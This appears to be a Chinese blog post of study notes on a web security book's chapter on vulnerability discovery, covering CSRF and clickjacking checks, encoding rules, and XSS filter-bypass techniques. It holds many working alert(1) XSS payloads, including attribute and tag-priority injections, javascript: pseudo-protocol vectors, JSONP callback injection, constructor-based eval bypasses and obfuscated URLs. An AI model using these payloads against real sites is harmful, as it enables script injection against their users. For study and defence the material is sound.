本文地址:http://www.jianshu.com/p/2d2ab1d1f9e7
第六章 漏洞挖掘
-
CSRF漏洞挖掘需要确认以下信息:
- 目标表单是否有有效的token随机串
- 目标表单是否有验证码
- 目标是否判断了Referer来源
- 根目录下 crossdoman.xml的
allow-access-from domain
是否是通配符 - 目标JSON是否可以自定义callback等
-
界面劫持漏洞挖掘需要确认以下信息:
- 目标HTTP响应头是否设置了X-Frame-Options字段
- 目标是否有javascript的Frame Busting机制
- 用iframe嵌入目标网站试试,若成功,则说明存在漏洞
-
针对URL,可以利用的输入点是
id=1
,输出点主要有:- HTML标签之间,如:
<body>[输出]</body>
- HTML标签之内,如:
<input type='text' value='[输出]'
- 成为javascript代码的值,如:
<script>a='[输出]'</script>
- 成为css代码的值,如:
<style>body{font-size:[输出]px}</style>
- HTML标签之间,如:
-
HTML形式的编码
- 进制编码:
&#xH
(十六进制格式)、&#D
(十进制),最后的分号可以不要 - HTML实体编码,如空格为
等
- 进制编码:
-
在js执行之前,HTML形式的编码会自动解码。具体参见书本 P138
-
具备 HtmlEncode 功能的标签
<body>
<script>function $(id){return document.getElementById(id);}</script>
<input
type='button' value='btn1'
onclick="$('i1').innerHTML='<img onerror=alert(1) />';alert($('i1').innerHTML)" />
<input
type='button' value='btn2'
onclick="$('i2').innerHTML='<img onerror=alert(1) />';alert($('i2').innerHTML)" />
<textarea id='i1'>3333</textarea>
<div id="i2"></div>
</body>
<!-- btn1 结果 为 <img onerror=alert(1)/> -->
<!-- btn2 结果 为 <img onerror=alert(1)/>; -->
通过返回结果可以看出区别,因为textarea
不解析html,类似的标签还有 <title></title>
、<iframe></iframe>
、<noscript></noscript>
、<noframes></noframes>
;另外还有 xmp
和 plaintext
注意以下返回区别:
var textarea = document.createElement('textarea');
textarea.innerHTML='<div>innerText</div>';
console.log(textarea.innerHTML)
// <div>innerText</div> (chrome, safari)
// "<div xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul">innerText</div>" (firefox)
var textarea = document.createElement('textarea');
textarea.innerText='<div>innerText</div>';
console.log(textarea.innerHTML)
// <div>innerText</div>(chrome, safari)
// '' (firefox)
var textarea = document.createElement('textarea');
textarea.innerHTML='<div>innerText</div>';
console.log(textarea.innerText)
// <div>innerText</div> (chrome)
// <div>innerText</div> (safari)
// undefined (firefox 没有innerText接口)
- 不同浏览器对urlencode处理的方式不同
可通过URL拼接一些特殊字符('"<>!@$%^*(){}[]:;,?~
)知道
- 通过
window.__defineSetter__
可以劫持属性, 类似于Object.defineProperty
window.__defineSetter__('a', function(){console.log(22);});
window.a=11;
// 22
// 11
字符集缺陷导致XSS攻击
- 一个字符可能对应1~n个字节,一个字节为8位,每一位还是 0 或 1
- 一个字符对应1~n个字节是由字符集和编码决定的
- ASCII字符集是一个字符对应一个字节,不过每个字节只用了7位,最高位用于其他目的,即ASCII字符集共有2的7次方(128)个字符
- Unicode字符集编码方式有
UTF-8
、UTF-16
、UTF-32
、UTF-7
,最为常见的是UTF-8
、UTF-7
- 宽字节码带来的安全问题(GB2312、GBK、GB18030、BIG5、Shift_JIS等)
<?php header("Content-Type:text/html;charset=GBK"); ?>
<head></head>
<body>
<script>
a="<?php echo $_GET['x']; ?>"
</script>
</body>
<!--
如果url是
go.php?x=";alert(1)//
结果会被转成
a="1\";alert(1)//"
// 具体参见P161
-->
绕过浏览器 XSS Filter
XSS Filter 主要针对反射性XSS,大体采用一种启发式的检测,根据用户提交的数据检测是否存在潜在的XSS特征,并重新渲染响应内容保证潜在XSS特征不会触发
混淆代码
- 经常在HTML中使用十进制和十六进制
- 十进制在html中表示,如
8
,&
和#
作为前缀,中间是十进制数字,以;
作为后缀结束,其中后缀;
可以没有 - 十六进制表示如:
Z
,与十进制相比,&#
后面紧跟x
,中间是十六进制表示的数字,同样后缀可省略 - CSS属性中,也只能是有个十进制和十六进制,另外十六进制可以表示为
\6c
- JS中,八进制表示为
\56
,十六进制表示为\x5c
,多字节字符不能这样表示,需要用Unicode
编码,如\u4ee3\u7801
浏览器三套 编/解码 方法
第一组:escape
与 unescape
,且对0~255以外的unicode值进行编码时输出 %u****
第二组:encodeURI
与 decodeURI
第三组:encodeURIComponent
与 decodeURICompon
-
共同不编码的字符有66个:
0~9
、a~z
、A~Z
、*
、-
、_
、.
-
escape不编码的字符有69个,另外3个字符是:
+
、/
、@
-
encodeURI不编码的字符有82个,另外16个字符是:
+
、/
、@
、!
、#
、$
、&
、'
、(
、)
、:
、;
、=
、?
、~
-
encodeURIComponent不编码的字符有71个,另外5个字符是:
!
、'
、(
、)
、~
此外,除以上三种加/解码方法外,还有 HTMLEncode、URIEncode、JSEncode、UTF-7编码、Base64编码
HTML中注入技巧
完整的HTML代码分为:标签名,属性名,属性值,文本,注释。
标签,HTML语言是松散的,且标签有优先级,可以通过混淆代码绕过,比如大小写不区分
- HTML语法中有标签优先级概念,
<textarea>
、<title>
、<style>
、<script>
、<xmp>
等优先级较高
<title><a href="</title><img src='/te.jpg' onerror=alert(11)//">aaa</a></title>
// 会alert出11
// 把title 换成 div后就不会
如果过滤器将以上标签过滤了,可以尝试一下方式:
<? foo="><script>alert(1)</script>">
<! foo="><script>alert(1)</script>">
</ foo="><script>alert(1)</script>">
<% foo="%><script>alert(1)</script>">
属性,不区分大小写,属性值可用单引号、双引号、不用引号、反引号(IE);且标签与属性、属性与等号、等号与属性值可使用换行、回车或tab等,个数不限
- 但利用反射性XSS漏洞时,输出往往在html中,比较容易;如果出现在属性值中,想办法先闭合属性值或直接闭合标签,或设置一个可触发的事件属性来执行脚本
- HTML属性主要分为:普通属性、事件属性、资源属性等
- 普通属性,如
<font color=<? $_GET['url'] ?> />
// 构造以下url即可
?url=x%20onerror=alert(1)
// 结果为
<font color=x onerror=alert(1) />
// 属性有引号时,想办法闭合方法与前面类似
<font color="<? $_GET['url'] ?>" />
?url=x"%20onerror=alert(1) //
如果对方将引号过滤掉或HTMLEncode转义了,有以下两个特例
// 使用与 IE6
<img src="x` `<script>alert(1)</script>"` `>
// 适用于IE Firefox Chrome Opera
<img src= alt=" onerror=alert(1) //">
- 事件属性,除普通属性的方式外,可以直接插入代码,等待用户执行
HTML总体通过属性定义的事件在执行时会做HTMLDecode编码
防御的办法是先进行JSEncode,然后进行HTMLEncode编码
-
资源属性,主要是属性名为 src 或 href,这类属性一般都支持浏览器预定义的协议(
http:
、ftp:
、file:
、https:
、javascript:
、vbscript:
、mailto:
、data:
),这里有些事网络交互协议(http:
、https:
、ftp:
),有些是本地协议(一般称伪协议)(javascript:
、vbscript:
、mailto:
、data:
) -
支持资源属性的HTML标签主要有:
APPLET,EMBED,FRAME,IFRAME,IMG
INPUT type=image,
XML,A,LINK,AREA,
TABLE\TR\TD\TH的background属性,
BGSOUND,AUDIO,VIDEO,OBJECT,META,refresh,SCRIPT,BASE,SROUCE
- 很多浏览器把一些被动资源类链接的伪协议屏蔽掉了
// 不生效
<img src='javascript:alert(1)' />
// 生效
<iframe src='javascript:alert(1)' />
-
常用伪协议主要有:javascript:, vbscript:(微软浏览器), data:
-
有几个不常用的属性也支持伪协议
<img dynsrc='javascript:alert(1)' /> (IE6)
<img lowsrc='javascript:alert(1)' /> (IE6)
<isindex action='javascript:alert(1)' type='image'/>
<input type='image' src='javascript:alert(1)' />
CSS中注入
主要分为:选择符,属性名,属性值,规则和申明
- 可被利用插入XSS脚本的地方有CSS资源类属性值和@import规则,IE中还有expression
JS中注入
- 思路是想办法闭合之前的变量
- 对HTML中的Javascript来说,
</script>
具有最高优先级,可以在任何位置中断JS代码
<script>
var a="</script><script>alert('inner script')</script>"
// 会解析为两个script
- JSONP方式攻击,url中拼callback
// 后端返回的JSON
{"name": 1}
// JSONP方式后端的返回
// url?callback=mycallback
mycallback({"name":1})
// 简单的方式是mycallback可以变为<script>alert(1)</script>
// 返回结果即
<script>alert(1)</script>({"name":1})
// 具体参见P199
JS代码混淆,混淆有很多种,这里列举几种
eval(String.fromCharCode(97,108,101,114,116,40,49,41,59))
// alert(1)
如果对函数屏蔽,如eval
, alert
, http
等,利用 (0)['constructor']['constructor']
代替 eval
(这里利用Function),或拼接"h"+"t"+"t"+"p"
(0)['constructor']['constructor']('alert(1)')()
突破URL过滤
- 正常URL
<A HREF='http://66.102.7.147/'>正常URL</A>
- URL编码
<A HREF='http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D'>URL编码</A>
- 十进制
<A HREF='http://1113982867/'>十进制</A>
- 十六进制
<A HREF='http://0x42.0x000066.0x7.0x93'>十六进制</A>
- 八进制
<A HREF='http://0102.0146.0007.000000223'>八进制</A>
- 混合编码
<A HREF='http://6 6.000146.0x7.147'>混合编码</A>
- 不带http:协议
<A HREF='//www.google.com'>不带http:协议</A>
- 最后加个点
<A HREF='http://www.google.com.'>最后加个点</A>
经典混淆XSS利用点参考书本 P202
其他一些CheckList参加网站 html5sec.org ,fuzzing平台如 shazzer.co.uk,有大量XSS利用点
附原书购买地址: http://item.jd.com/11181832.html
网友评论